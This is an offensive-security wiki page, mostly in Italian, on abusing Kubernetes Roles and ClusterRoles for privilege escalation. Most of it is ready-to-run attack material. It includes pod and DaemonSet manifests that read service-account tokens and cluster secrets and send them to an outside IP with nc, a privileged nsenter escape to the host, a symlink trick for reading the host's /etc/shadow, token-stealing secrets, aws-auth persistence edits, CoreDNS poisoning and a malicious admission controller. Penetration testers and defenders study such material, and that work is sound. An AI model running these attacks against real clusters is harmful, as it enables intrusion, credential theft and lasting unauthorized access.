Abusing Roles/ClusterRoles in Kubernetes
Reading time: 28 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Qui puoi trovare alcune configurazioni di Roles e ClusterRoles potenzialmente pericolose.
Ricorda che puoi ottenere tutte le risorse supportate con kubectl api-resources
Privilege Escalation
Si riferisce all'arte di ottenere accesso a un diverso principale all'interno del cluster con privilegi diversi (all'interno del cluster kubernetes o a cloud esterni) rispetto a quelli che già possiedi. In Kubernetes ci sono fondamentalmente 4 tecniche principali per escalare i privilegi:
- Essere in grado di impersonare altri utenti/gruppi/SAs con privilegi migliori all'interno del cluster kubernetes o a cloud esterni
- Essere in grado di creare/patchare/eseguire pod dove puoi trovare o allegare SAs con privilegi migliori all'interno del cluster kubernetes o a cloud esterni
- Essere in grado di leggere segreti poiché i token SAs sono memorizzati come segreti
- Essere in grado di uscire verso il nodo da un container, dove puoi rubare tutti i segreti dei container in esecuzione nel nodo, le credenziali del nodo e i permessi del nodo all'interno del cloud in cui è in esecuzione (se presente)
- Una quinta tecnica che merita una menzione è la capacità di eseguire port-forward in un pod, poiché potresti essere in grado di accedere a risorse interessanti all'interno di quel pod.
Access Any Resource or Verb (Wildcard)
Il wildcard (*) concede permessi su qualsiasi risorsa con qualsiasi verbo. È usato dagli amministratori. All'interno di un ClusterRole questo significa che un attaccante potrebbe abusare di anynamespace nel cluster
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Accedi a qualsiasi risorsa con un verbo specifico
In RBAC, alcune autorizzazioni comportano rischi significativi:
create
: Concede la possibilità di creare qualsiasi risorsa del cluster, rischiando un'escursione di privilegi.list
: Consente di elencare tutte le risorse, potenzialmente rivelando dati sensibili.get
: Permette di accedere ai segreti degli account di servizio, costituendo una minaccia per la sicurezza.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
Pod Create - Steal Token
Un attaccante con i permessi per creare un pod potrebbe allegare un Service Account privilegiato nel pod e rubare il token per impersonare il Service Account. Efficacemente, aumentando i privilegi.
Esempio di un pod che ruberà il token del Service Account bootstrap-signer
e lo invierà all'attaccante:
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
Creazione e fuga del Pod
Quanto segue indica tutti i privilegi che un container può avere:
- Accesso privilegiato (disabilitando le protezioni e impostando le capacità)
- Disabilitare i namespace hostIPC e hostPid che possono aiutare ad elevare i privilegi
- Disabilitare il namespace hostNetwork, dando accesso per rubare i privilegi cloud dei nodi e un migliore accesso alle reti
- Montare gli host / all'interno del container
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
Crea il pod con:
kubectl --token $token create -f mount_root.yaml
One-liner da questo tweet e con alcune aggiunte:
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
Stealth
Probabilmente vuoi essere più furtivo, nelle pagine seguenti puoi vedere a cosa potresti accedere se crei un pod abilitando solo alcuni dei privilegi menzionati nel template precedente:
- Privileged + hostPID
- Privileged only
- hostPath
- hostPID
- hostNetwork
- hostIPC
Puoi trovare un esempio di come creare/abuse le configurazioni dei pod privilegiati precedenti in https://github.com/BishopFox/badPods
Pod Create - Move to cloud
Se puoi creare un pod (e opzionalmente un service account) potresti essere in grado di ottenere privilegi nell'ambiente cloud assegnando ruoli cloud a un pod o a un service account e poi accedervi.
Inoltre, se puoi creare un pod con il namespace di rete host puoi rubare il ruolo IAM dell'istanza node.
Per ulteriori informazioni controlla:
Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs
È possibile abusare di questi permessi per creare un nuovo pod e stabilire privilegi come nell'esempio precedente.
Il seguente yaml crea un daemonset ed esfiltra il token del SA all'interno del pod:
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
Pods Exec
pods/exec
è una risorsa in kubernetes utilizzata per eseguire comandi in una shell all'interno di un pod. Questo consente di eseguire comandi all'interno dei container o ottenere una shell all'interno.
Pertanto, è possibile entrare in un pod e rubare il token del SA, o entrare in un pod privilegiato, fuggire verso il nodo e rubare tutti i token dei pod nel nodo e (ab)usare il nodo:
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
note
Per impostazione predefinita, il comando viene eseguito nel primo container del pod. Ottieni tutti i pod in un container con kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'
e poi indica il container in cui vuoi eseguirlo con kubectl exec -it <pod_name> -c <container_name> -- sh
Se si tratta di un container distroless, puoi provare a utilizzare shell builtins per ottenere informazioni sui container o caricare i tuoi strumenti come un busybox usando: kubectl cp </path/local/file> <podname>:</path/in/container>
.
port-forward
Questa autorizzazione consente di inoltrare una porta locale a una porta nel pod specificato. Questo è pensato per poter eseguire il debug delle applicazioni in esecuzione all'interno di un pod facilmente, ma un attaccante potrebbe abusarne per accedere a applicazioni interessanti (come DB) o vulnerabili (web?) all'interno di un pod:
kubectl port-forward pod/mypod 5000:5000
Hosts Writable /var/log/ Escape
Come indicato in questa ricerca, se puoi accedere o creare un pod con la directory /var/log/
dei host montata su di esso, puoi uscire dal container.
Questo è fondamentalmente perché quando il Kube-API cerca di ottenere i log di un container (utilizzando kubectl logs <pod>
), richiede il file 0.log
del pod utilizzando l'endpoint /logs/
del servizio Kubelet.
Il servizio Kubelet espone l'endpoint /logs/
che è fondamentalmente l'esposizione del filesystem /var/log
del container.
Pertanto, un attaccante con accesso in scrittura nella cartella /var/log/ del container potrebbe abusare di questo comportamento in 2 modi:
- Modificando il file
0.log
del proprio container (di solito situato in/var/logs/pods/namespace_pod_uid/container/0.log
) per essere un symlink che punta a/etc/shadow
per esempio. Poi, sarai in grado di esfiltrare il file shadow degli host facendo:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
- Se l'attaccante controlla qualsiasi principale con i permessi per leggere
nodes/log
, può semplicemente creare un symlink in/host-mounted/var/log/sym
a/
e quando accede ahttps://<gateway>:10250/logs/sym/
elencherà il filesystem root dell'host (cambiando il symlink può fornire accesso ai file).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]
Un laboratorio e un exploit automatizzato possono essere trovati in https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
Bypassare la protezione readOnly
Se sei abbastanza fortunato e la capacità altamente privilegiata CAP_SYS_ADMIN
è disponibile, puoi semplicemente rimontare la cartella come rw:
mount -o rw,remount /hostlogs/
Bypassare la protezione hostPath readOnly
Come indicato in questa ricerca, è possibile bypassare la protezione:
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
Che era destinato a prevenire le fughe come quelle precedenti, utilizzando invece di un mount hostPath, un PersistentVolume e un PersistentVolumeClaim per montare una cartella dell'host nel contenitore con accesso in scrittura:
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
Impersonare account privilegiati
Con un privilegio di impersonificazione dell'utente, un attaccante potrebbe impersonare un account privilegiato.
Basta utilizzare il parametro --as=<username>
nel comando kubectl
per impersonare un utente, o --as-group=<group>
per impersonare un gruppo:
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
Oppure usa l'API REST:
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Elencare i segreti
Il permesso di elencare i segreti potrebbe consentire a un attaccante di leggere effettivamente i segreti accedendo all'endpoint API REST:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Creazione e Lettura di Segreti
Esiste un tipo speciale di segreto Kubernetes di tipo kubernetes.io/service-account-token che memorizza i token degli account di servizio. Se hai i permessi per creare e leggere segreti, e conosci anche il nome dell'account di servizio, puoi creare un segreto come segue e poi rubare il token dell'account di servizio della vittima da esso:
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
Esempio di sfruttamento:
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
Nota che se ti è permesso creare e leggere segreti in un certo namespace, il serviceaccount della vittima deve trovarsi anche in quel namespace.
Lettura di un segreto – forzatura dei token ID
Mentre un attaccante in possesso di un token con permessi di lettura richiede il nome esatto del segreto per utilizzarlo, a differenza del privilegio più ampio di elencare segreti, ci sono ancora vulnerabilità. Gli account di servizio predefiniti nel sistema possono essere enumerati, ciascuno associato a un segreto. Questi segreti hanno una struttura di nome: un prefisso statico seguito da un token alfanumerico casuale di cinque caratteri (escludendo alcuni caratteri) secondo il source code.
Il token è generato da un set limitato di 27 caratteri (bcdfghjklmnpqrstvwxz2456789
), piuttosto che dall'intero intervallo alfanumerico. Questa limitazione riduce il numero totale di combinazioni possibili a 14.348.907 (27^5). Di conseguenza, un attaccante potrebbe ragionevolmente eseguire un attacco di forza bruta per dedurre il token in poche ore, potenzialmente portando a un'escalation dei privilegi accedendo a account di servizio sensibili.
EncrpytionConfiguration in chiaro
È possibile trovare chiavi in chiaro per crittografare i dati a riposo in questo tipo di oggetto come:
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
#
# CAUTION: this is an example configuration.
# Do not use this for your own cluster!
#
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
Certificate Signing Requests
Se hai il verbo create
nella risorsa certificatesigningrequests
(o almeno in certificatesigningrequests/nodeClient
). Puoi creare un nuovo CeSR di un nuovo nodo.
Secondo la documentazione è possibile approvare automaticamente queste richieste, quindi in quel caso non hai bisogno di permessi extra. Se no, dovresti essere in grado di approvare la richiesta, il che significa aggiornare in certificatesigningrequests/approval
e approve
in signers
con resourceName <signerNameDomain>/<signerNamePath>
o <signerNameDomain>/*
Un esempio di un ruolo con tutti i permessi richiesti è:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
Quindi, con la nuova CSR del nodo approvata, puoi abuse delle autorizzazioni speciali dei nodi per steal secrets e escalate privileges.
In questo post e questo la configurazione del GKE K8s TLS Bootstrap è configurata con automatic signing e viene abusata per generare credenziali di un nuovo nodo K8s e poi abusare di queste per escalare privilegi rubando segreti.
Se hai i privilegi menzionati potresti fare la stessa cosa. Nota che il primo esempio bypassa l'errore che impedisce a un nuovo nodo di accedere ai segreti all'interno dei contenitori perché un nodo può accedere solo ai segreti dei contenitori montati su di esso.
Il modo per bypassare questo è semplicemente creare una credenziale del nodo per il nome del nodo dove il contenitore con i segreti interessanti è montato (ma controlla solo come farlo nel primo post):
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
AWS EKS aws-auth configmaps
I principi che possono modificare configmaps
nello spazio dei nomi kube-system sui cluster EKS (devono essere in AWS) possono ottenere privilegi di amministratore del cluster sovrascrivendo il configmap aws-auth.
I verbi necessari sono update
e patch
, o create
se il configmap non è stato creato:
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns
# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
warning
Puoi usare aws-auth
per la persistenza dando accesso agli utenti di altri account.
Tuttavia, aws --profile other_account eks update-kubeconfig --name <cluster-name>
non funziona da un account diverso. Ma in realtà aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing
funziona se metti l'ARN del cluster invece del solo nome.
Per far funzionare kubectl
, assicurati di configurare il kubeconfig della vittima e negli argomenti di esecuzione di aws aggiungi --profile other_account_role
in modo che kubectl utilizzi il profilo dell'altro account per ottenere il token e contattare AWS.
CoreDNS config map
Se hai i permessi per modificare il coredns
configmap nel namespace kube-system
, puoi modificare gli indirizzi a cui i domini verranno risolti per poter eseguire attacchi MitM per rubare informazioni sensibili o iniettare contenuti malevoli.
I verbi necessari sono update
e patch
sul coredns
configmap (o su tutte le config map).
Un normale file coredns contiene qualcosa del genere:
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
Un attaccante potrebbe scaricarlo eseguendo kubectl get configmap coredns -n kube-system -o yaml
, modificarlo aggiungendo qualcosa come rewrite name victim.com attacker.com
in modo che ogni volta che si accede a victim.com
, in realtà si accede al dominio attacker.com
. E poi applicarlo eseguendo kubectl apply -f poison_dns.yaml
.
Un'altra opzione è semplicemente modificare il file eseguendo kubectl edit configmap coredns -n kube-system
e apportando modifiche.
Escalation in GKE
Ci sono 2 modi per assegnare permessi K8s ai principi GCP. In ogni caso, il principio ha anche bisogno del permesso container.clusters.get
per poter raccogliere le credenziali per accedere al cluster, oppure dovrai generare il tuo file di configurazione kubectl (segui il link successivo).
warning
Quando si parla con l'endpoint API K8s, il token di autenticazione GCP verrà inviato. Poi, GCP, attraverso l'endpoint API K8s, controllerà prima se il principio (per email) ha accesso all'interno del cluster, poi controllerà se ha accesso tramite GCP IAM.
Se qualcuno di questi è vero, riceverà una risposta. Se no, verrà fornito un errore che suggerisce di dare permessi tramite GCP IAM.
Quindi, il primo metodo è utilizzare GCP IAM, i permessi K8s hanno i loro permessi equivalenti GCP IAM, e se il principio li ha, potrà usarli.
Il secondo metodo è assegnare permessi K8s all'interno del cluster identificando l'utente tramite la sua email (inclusi gli account di servizio GCP).
Creare token serviceaccounts
Principi che possono creare TokenRequests (serviceaccounts/token
) Quando si parla con l'endpoint API K8s SAs (info da qui).
ephemeralcontainers
Principi che possono update
o patch
pods/ephemeralcontainers
possono ottenere esecuzione di codice su altri pod, e potenzialmente uscire al loro nodo aggiungendo un contenitore effimero con un securityContext privilegiato.
ValidatingWebhookConfigurations o MutatingWebhookConfigurations
Principi con uno dei verbi create
, update
o patch
su validatingwebhookconfigurations
o mutatingwebhookconfigurations
potrebbero essere in grado di creare una di queste webhookconfigurations per poter escalare i privilegi.
Per un mutatingwebhookconfigurations
esempio controlla questa sezione di questo post.
Escalate
Come puoi leggere nella sezione successiva: Built-in Privileged Escalation Prevention, un principio non può aggiornare né creare ruoli o clusterroles senza avere lui stesso quei nuovi permessi. A meno che non abbia il verbo escalate
o *
su roles
o clusterroles
e le rispettive opzioni di binding.
Allora può aggiornare/creare nuovi ruoli, clusterroles con permessi migliori di quelli che ha.
Nodes proxy
Principi con accesso alla nodes/proxy
subrisorsa possono eseguire codice su pod tramite l'API Kubelet (secondo questo). Maggiori informazioni sull'autenticazione Kubelet in questa pagina:
Kubelet Authentication & Authorization
Hai un esempio di come ottenere RCE parlando autorizzato a un'API Kubelet qui.
Eliminare pod + nodi non pianificabili
Principi che possono eliminare pod (delete
verbo su pods
risorsa), o evict pod (create
verbo su pods/eviction
risorsa), o cambiare lo stato del pod (accesso a pods/status
) e possono rendere altri nodi non pianificabili (accesso a nodes/status
) o eliminare nodi (delete
verbo su nodes
risorsa) e hanno il controllo su un pod, potrebbero rubare pod da altri nodi in modo che vengano eseguiti nel nodo compromesso e l'attaccante può rubare i token da quei pod.
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}
while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack
kubectl delete pods -n kube-system <privileged_pod_name>
Stato dei servizi (CVE-2020-8554)
I principi che possono modificare services/status
possono impostare il campo status.loadBalancer.ingress.ip
per sfruttare il CVE-2020-8554 non corretto e lanciare attacchi MiTM contro il cluster. La maggior parte delle mitigazioni per il CVE-2020-8554 previene solo i servizi ExternalIP (secondo questo).
Stato dei nodi e dei pod
I principi con permessi update
o patch
su nodes/status
o pods/status
potrebbero modificare le etichette per influenzare i vincoli di pianificazione applicati.
Prevenzione dell'Escalation dei Privilegi Integrata
Kubernetes ha un meccanismo integrato per prevenire l'escalation dei privilegi.
Questo sistema garantisce che gli utenti non possano elevare i propri privilegi modificando ruoli o binding di ruoli. L'applicazione di questa regola avviene a livello API, fornendo una protezione anche quando l'autorizzatore RBAC è inattivo.
La regola stabilisce che un utente può creare o aggiornare un ruolo solo se possiede tutti i permessi di cui il ruolo è composto. Inoltre, l'ambito dei permessi esistenti dell'utente deve allinearsi a quello del ruolo che sta tentando di creare o modificare: o a livello di cluster per i ClusterRoles o limitato allo stesso namespace (o a livello di cluster) per i Roles.
warning
C'è un'eccezione a questa regola precedente. Se un principio ha il verbo escalate
su roles
o clusterroles
, può aumentare i privilegi di ruoli e clusterroles anche senza avere i permessi lui stesso.
Ottieni & Patch RoleBindings/ClusterRoleBindings
caution
Apparentemente questa tecnica funzionava prima, ma secondo i miei test non funziona più per lo stesso motivo spiegato nella sezione precedente. Non puoi creare/modificare un rolebinding per darti o dare a un diverso SA alcuni privilegi se non li hai già.
Il privilegio di creare Rolebindings consente a un utente di associare ruoli a un account di servizio. Questo privilegio può potenzialmente portare a un'escalation dei privilegi perché consente all'utente di associare privilegi di amministratore a un account di servizio compromesso.
Altri Attacchi
App proxy Sidecar
Per impostazione predefinita non c'è alcuna crittografia nella comunicazione tra i pod. Autenticazione reciproca, bidirezionale, da pod a pod.
Crea un'app proxy Sidecar
Un contenitore sidecar consiste semplicemente nell'aggiungere un secondo (o più) contenitore all'interno di un pod.
Ad esempio, quanto segue è parte della configurazione di un pod con 2 contenitori:
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
Ad esempio, per inserire un backdoor in un pod esistente con un nuovo container, puoi semplicemente aggiungere un nuovo container nella specifica. Nota che puoi dare più permessi al secondo container che il primo non avrà.
Maggiore informazione su: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
Malicious Admission Controller
Un admission controller intercetta le richieste al server API di Kubernetes prima della persistenza dell'oggetto, ma dopo che la richiesta è stata autenticata e autorizzata.
Se un attaccante riesce in qualche modo a iniettare un Mutation Admission Controller, sarà in grado di modificare richieste già autenticate. Essere in grado di potenzialmente privesc, e più comunemente persistere nel cluster.
Esempio da https://blog.rewanthtammana.com/creating-malicious-admission-controllers:
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
Controlla lo stato per vedere se è pronto:
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
Quindi distribuisci un nuovo pod:
kubectl run nginx --image nginx
kubectl get po -w
Quando puoi vedere l'errore ErrImagePull
, controlla il nome dell'immagine con una delle seguenti query:
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
Come puoi vedere nell'immagine sopra, abbiamo provato a eseguire l'immagine nginx
, ma l'immagine finale eseguita è rewanthtammana/malicious-image
. Cosa è appena successo!!?
Tecnicalità
Lo script ./deploy.sh
stabilisce un controller di ammissione webhook mutante, che modifica le richieste all'API di Kubernetes come specificato nelle sue righe di configurazione, influenzando i risultati osservati:
patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
Il frammento sopra sostituisce la prima immagine del container in ogni pod con rewanthtammana/malicious-image
.
Bypass di OPA Gatekeeper
Kubernetes OPA Gatekeeper bypass
Migliori Pratiche
Disabilitare l'Automount dei Token degli Account di Servizio
- Pods e Account di Servizio: Per impostazione predefinita, i pod montano un token di account di servizio. Per migliorare la sicurezza, Kubernetes consente di disabilitare questa funzionalità di automount.
- Come Applicare: Imposta
automountServiceAccountToken: false
nella configurazione degli account di servizio o dei pod a partire dalla versione 1.6 di Kubernetes.
Assegnazione Utente Ristretto in RoleBindings/ClusterRoleBindings
- Inclusione Selettiva: Assicurati che solo gli utenti necessari siano inclusi in RoleBindings o ClusterRoleBindings. Esegui audit regolari e rimuovi utenti irrilevanti per mantenere una sicurezza rigorosa.
Ruoli Specifici per Namespace rispetto ai Ruoli Cluster-Wide
- Ruoli vs. ClusterRoles: Preferisci utilizzare Ruoli e RoleBindings per permessi specifici del namespace piuttosto che ClusterRoles e ClusterRoleBindings, che si applicano a livello di cluster. Questo approccio offre un controllo più fine e limita l'ambito dei permessi.
Utilizza strumenti automatizzati
GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions
GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters
Riferimenti
- https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions
- https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
- https://blog.rewanthtammana.com/creating-malicious-admission-controllers
- https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html
- https://kubenomicon.com/
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
